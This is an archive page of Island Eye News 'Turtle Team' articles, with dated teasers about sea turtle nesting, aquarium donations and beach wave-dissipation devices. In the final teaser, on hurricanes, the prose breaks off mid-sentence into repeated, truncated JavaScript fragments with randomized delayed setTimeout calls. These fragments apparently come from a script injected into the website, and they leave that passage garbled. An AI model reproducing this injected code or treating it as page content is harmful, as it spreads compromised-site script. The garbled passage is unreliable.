Category: Turtle Team

Aug 07 2018

No Way To Lay A Nest

By Mary Pringle for The Island Eye News When a female loggerhead sea turtle is ready to lay her eggs, she follows a very set group of instinctive behaviors. She looks from the surf to make sure there are no lights on the beach before crawling ashore. This is a very stressful undertaking and requires …

Jul 20 2018

Strange But True Facts About Sea Turtles

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Jul 09 2018

Rent A Boat/Save A Turtle

By Mary Pringle for The Island Eye News “Rent a Boat/Save a Turtle” – this is what Adrian Honeycutt of Phoenix, AZ said after the experience her family had on Capers Island on June 20. She and her husband and children were visiting here with relatives on Daniel Island and Summerville and rented a boat …

Jun 20 2018

Where Have All The Turtles Gone?

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Jun 05 2018

Leatherback Turtle Nests On Isle Of Palms

Nov 11 2017

Turtle Team Donates $5,000 To South Carolina Aquarium

Photo by the SC Aquarium for Island Eye News Every year the Island Turtle Team raises money to support the Sea Turtle Rescue program at the South Carolina Aquarium. (l-r) Barb Gobien, Barbara Bergwerf, Mary Pringle and Jo Durham, from the Turtle Team, delivered a check for $5000.00 to Mackenzi Polk, Sea Turtle Biologist.

Oct 19 2017

Fans Gather For South Carolina Aquarium’s Last Turtle Release Of 2017

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Sep 21 2017

Wave Dissipation Systems Not Harming Sea Turtles Designer Says

By Emma Woodham for The Island Eye News A federal judge recently ruled that the Wave Dissipation Systems on the Isle of Palms beach must be removed because they are preventing sea turtles from nesting, but WDS designer Deron Nettles argues that his turtle-friendly invention is doing more good than harm. The Wave Dissipation Systems—often …

Sep 08 2017

Hurricanes And Sea Turtles

By Mary Pringle for The Island Eye News Now that we are approaching the peak of the Atlantic hurricane season, those of us who protect loggerhead nests not only begin dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), …

Aug 22 2017